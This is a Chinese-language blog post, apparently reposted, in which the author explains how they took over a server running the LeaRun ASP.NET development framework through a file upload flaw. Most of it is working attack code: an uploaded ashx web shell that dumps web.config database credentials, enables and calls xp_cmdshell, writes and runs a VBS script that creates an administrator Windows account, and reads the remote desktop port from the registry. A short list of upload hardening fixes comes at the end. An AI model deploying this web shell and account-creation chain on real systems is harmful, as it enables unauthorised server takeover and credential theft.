ASP.NET網站入侵第二波(LeaRun.信息化快速開發框架 已被筆者拿下)

筆者小學文化,語言組織能力差,寫的不通的地方請你們將就着看,不喜勿噴。web

    上篇我講了如何在上傳文件中入侵服務器,這次咱們稍微多講一點。sql

   仍是先講下流程:shell

一、上傳代碼頁面  我上傳的是ashx頁面。數據庫

二、用ashx頁面已文本形式顯示web.Config的內容 獲得數據庫鏈接,服務器

三、用ashx在網站根目錄輸出vbs腳本(建立Windows帳戶腳本)框架

四、開啓數據庫的xp_cmdshell。tcp

五、利用數據庫執行在網站根目錄輸出vbs腳本。入侵就完成了ide

ashx代碼文件以下工具

/// <summary>
        /// 顯示配置文件
        /// </summary>
        /// <param name="context"></param>
        public void ShowWebConfig(HttpContext context)
        {
            context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config")));
        }
        /// <summary>
        /// 寫vbs腳本
        /// </summary>
        /// <param name="context"></param>
        public void WriteVbs(HttpContext context)
        {
            System.IO.File.WriteAllText(context.Request.MapPath("~/1.vbs"), "set wsnetwork=CreateObject(\"WSCRIPT.NETWORK\")\r\nos=\"WinNT://\"&wsnetwork.ComputerName\r\nSet ob=GetObject(os) '獲得adsi接口,綁定\r\nSet oe=GetObject(os&\"/Administrators,group\") '屬性,admin組\r\nSet od=ob.Create(\"user\",\"test\") '創建用戶\r\nod.SetPassword \"1234\" '設置密碼\r\nod.SetInfo '保存\r\nSet of=GetObject(os&\"/test\",user) '獲得用戶\r\noe.add os&\"/freeast\" \r\n");
        }
        /// <summary>
        /// 直線數據庫
        /// </summary>
        /// <param name="connection"></param>
        /// <param name="sql"></param>
        public void ExecuteSql(string connection, string sql)
        {
            using (SqlConnection con = new SqlConnection(connection))
            {
                using (SqlCommand commd = new SqlCommand(sql, con))
                {
                    con.Open();
                    commd.ExecuteNonQuery();
                    con.Close();
                }
            }
        }
        /// <summary>
        /// 直線數據庫並輸出表格
        /// </summary>
        /// <param name="context"></param>
        /// <param name="connection"></param>
        /// <param name="sql"></param>
        public void ExecuteSql1(HttpContext context,string connection, string sql)
        {
            System.Data.DataTable table = new System.Data.DataTable();
            using (SqlConnection con = new SqlConnection(connection))
            {
                using (SqlCommand commd = new SqlCommand(sql, con))
                {
                    con.Open();
                    using (SqlDataAdapter ad = new SqlDataAdapter(commd))
                    {
                        ad.Fill(table);
                    }
                    con.Close();
                }
            }
            foreach (System.Data.DataRow row in table.Rows)
            {
                foreach (System.Data.DataColumn column in table.Columns)
                {
                    context.Response.Write(row[column]);
                    context.Response.Write("\t");
                }
                context.Response.Write("\r\n");
            }
        }
        /// <summary>
        /// 顯示遠程桌面端口
        /// </summary>
        /// <param name="context"></param>
        private void ShowPort(HttpContext context)
        {
            context.Response.Write(Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp").GetValue("PortNumber").ToString());
        }
        public void ProcessRequest(HttpContext context)
        {
            context.Response.ContentType = "text/plain";
            
            try
            {
                var connection = context.Request.QueryString["connection"];
                switch (context.Request.QueryString["method"])
                {
                    case "1": WriteVbs(context); break;
                    case "2":
                        ExecuteSql(connection,@"sp_configure 'show advanced options',1  reconfigure");
                        ExecuteSql(connection,@"sp_configure 'xp_cmdshell',1 reconfigure");//開啓數據庫的xp_cmdshell
                        break;
                    case "3": ExecuteSql1(context, connection, "exec master..xp_cmdshell 'cscript " + context.Request.MapPath("~/1.vbs") + "'");
                        break;
                    case "4": ShowPort(context); break;
                    default:
                        ShowWebConfig(context);
                        break;
                }
            }
            catch (Exception ex)
            {
                context.Response.Write(ex.Message);
            }
            context.Response.End();
        }
        public bool IsReusable
        {
            get
            {
                return false;
            }
        }
View Code

 

這裏咱們以 "LeaRun.信息化快速開發框架"的在線按鈕爲例網站

上傳文件我就不說了,上篇有人在問我怎麼顯示web.Config的內容,我這裏具體貼下代碼 其實很簡單,File.ReadAllText  web.config文件就能夠了

public void ShowWebConfig(HttpContext context)
        {
            context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config")));
        }

運行後直線ashx 獲得數據庫鏈接,如圖

 

其次就是建立Windows帳戶的腳本

set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) '獲得adsi接口,綁定
Set oe=GetObject(os&"/Administrators,group") '屬性,admin組
Set od=ob.Create("user","test") '創建用戶
od.SetPassword "1234" '設置密碼
od.SetInfo '保存
Set of=GetObject(os&"/test",user) '獲得用戶
oe.add os&"/freeast" 
View Code

 

而後開啓數據庫的xp_cmdshell。

sp_configure 'show advanced options',1  reconfigure

Go

sp_configure 'xp_cmdshell',1 reconfigure


在最後執行vbs腳本

exec master..xp_cmdshell 'cscript 腳本文件目錄"'

運行結果以下:


好 這說明直線成功了。。。。 也就是服務器用戶添加成功了

 

如今要開始遠程桌面了,因而個端口掃描工具發現3389是關的,因而判定確定是修改了端口後,因而就加了個代碼,讓程序去讀取遠程桌面端口,

代碼以下:

/// <summary>
        /// 顯示遠程桌面端口
        /// </summary>
        /// <param name="context"></param>
        private void ShowPort(HttpContext context)
        {
            context.Response.Write(Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp").GetValue("PortNumber").ToString());
        }


好了 到這裏 一切的完成了 ,打開遠程桌面鏈接吧。。

 

由於這次公開還沒來得及通知  事主 因而本身幫事主把這個漏洞補上了後才發出來的,因此大家也不要去試了   -.-!!!!

而後我在來講說補救的方法,我就簡單介紹幾種了

一、將上傳的文件放到網站外,也就是說 讓iit讀取不到(但記得分配權限) ,如:假如我網站放在 d:\\Web\Oa\  這個是我網站的跟目錄,那麼我上傳的文件 能夠放到 d:\File\OA 裏面,別人就不能直接訪問

二、就是在上傳文件的目錄下新創建個web.config 把全部請求都拒絕,(C#是能夠讀取的,只是須要用Response.WriteFile 輸出)

三、所有壓縮

。。。。。。。。。。。。。。。。

 

好了 ,你們抓緊把以前的項目整理一遍吧,把能補的補上。。。。 千萬別用這些漏洞去作壞事哦  ,。。。 那樣你會被請去喝茶的。。。。-.-!!!!!

相關文章
相關標籤/搜索